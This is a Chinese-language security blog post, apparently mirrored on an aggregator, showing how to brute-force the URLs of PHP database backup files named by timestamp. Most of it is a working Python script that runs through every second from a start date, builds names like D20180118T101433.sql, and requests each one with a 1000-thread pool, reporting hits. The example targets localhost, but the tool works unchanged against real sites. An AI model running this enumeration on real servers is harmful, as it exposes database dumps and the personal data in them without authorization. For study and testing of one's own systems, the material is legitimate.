zoukankan      html  css  js  c++  java
  • 利用Python爆破数据库备份文件

      某次测试过程中,发现PHP备份功能代码如下:

    // 根据时间生成备份文件名
    $file_name = 'D' . date('Ymd') . 'T' . date('His');
    $sql_file_name = $file_name . '.sql';

      那么形成的文件名格式如:D20180118T101433.sql,理论上是可以爆破的,于是写了一段Python脚本来尝试爆破。

    Python测试脚本:

    简单描述:设置一个开始的时间戳,然后遍历时间戳到当前时间点,得到一个列表,保存的时间格式为“20180110 000637”,然后带入请求,进行暴力猜解URL是否存在,如果存在就输出。

    #! /usr/bin/env python
    # _*_  coding:utf-8 _*_
    import time
    import requests
    import threadpool
    
    date= "2018-01-18 10:00:00"  //开始时间
    datelist=[]
    
    def gettime():
        timeArray = time.strptime(date,"%Y-%m-%d %H:%M:%S")
        time1= int(time.mktime(timeArray))
        time2=int(time.time())
        for i in range(time1,time2):
            time3= time.strftime('%Y%m%d %H%M%S', time.localtime(i))
            datelist.append(time3)
        return datelist
    def req(str):           
        try:
            str1,str2=str.split()
            date1="D"+str1+"T"+str2
            url="http://127.0.0.1/data/backup/"+date1+".sql"
            s=requests.get(url,timeout=5)
            if  s.status_code==200:
                print u"数据库备份文件爆破成功:"
                print url
        except:
            pass
    
    if __name__ == '__main__':
        list=gettime()
        pool = threadpool.ThreadPool(1000) 
        requ = threadpool.makeRequests(req,list) 
        [pool.putRequest(req) for req in requ] 
        pool.wait()

    Python 测试截图:

    关于我:一个网络安全爱好者,致力于分享原创高质量干货,欢迎关注我的个人微信公众号:Bypass--,浏览更多精彩文章。

    参考链接:

    python时间,日期,时间戳处理  http://blog.csdn.net/xiaobing_blog/article/details/12591917

  • 相关阅读:
    深入理解Linux修改hostname
    Linux开发环境必备十大开发工具
    管理员必备的几个Linux系统监控工具
    Solaris&&QNX® Neutrino®&&OpenVMS&&FreeBSD&&AIX
    ansible来了
    Cobbler系统安装备用链接
    Web安全
    在Eclipse/STS中使用EclEmma进行覆盖率检查
    C#中使用扩展方法
    Winform中Textbox的使用
  • 原文地址:https://www.cnblogs.com/xiaozi/p/8309884.html
Copyright © 2011-2022 走看看